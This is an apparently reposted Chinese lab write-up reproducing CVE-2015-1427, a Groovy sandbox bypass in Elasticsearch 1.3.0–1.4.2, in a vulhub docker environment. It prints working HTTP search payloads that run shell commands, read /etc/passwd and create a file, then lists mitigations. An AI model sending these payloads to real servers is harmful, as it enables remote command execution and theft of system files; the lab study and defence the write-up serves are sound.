漏洞復現-ElasticSearch Groovy 沙盒繞過 && 代碼執行漏洞(CVE-2015-1427)


漏洞原理

和3210的漏洞很像,也是惡意代碼執行漏洞,3210是執行任意MVEL表達式和java代碼,3210之后MVEL表達式被棄用,ES的動態腳本語言換成了Groovy(而且增加了sandbox),然額換成Groovy之后仍然存在惡意代碼執行漏洞(ES:我好難,2333...)

 

復現環境

在ubuntu 16.04虛擬機中用vulhub靶場提供的docker容器來復現

jdk版本1.7

ElasticSearch版本1.4.2

 

影響版本

Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 

 

復現過程

像3210那樣先增加一條數據,再調用_search接口。

執行java代碼(為啥可以直接執行java代碼?因為ES是用java開發的!)

POST /_search?pretty HTTP/1.1
Host: 192.168.101.10:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}
View Code

網上找的讀取文件的POC:

POST /_search?pretty HTTP/1.1
Host: 192.168.101.10:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 425

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang":"groovy"}}}
View Code

也可以直接執行Goovy代碼(Goovy也是一門獨立的語言):

參考:https://github.com/elastic/elasticsearch-lang-groovy

GET /_search?pretty HTTP/1.1
Host: 192.168.101.10:9200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 124

{"script_fields": {"my_field": {"script": "def command=\"touch evil\";def res=command.execute().text;res","lang":"groovy"}}}
View Code

進入dokcer容器查看文件是否創建成功,使用之前進入docker容器的命令:

docker-compose exec 容器名 bash 

結果報錯:No such service(ES的這幾個容器都會報這個錯,我也不知道為啥。。。),好吧,換一個命令:

docker exec -it 容器id /bin/sh

成功進入容器:

 

防御方法

1.elasticsearch.yml配置script.groovy.sandbox.enabled: false

2.升級版本

 

本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM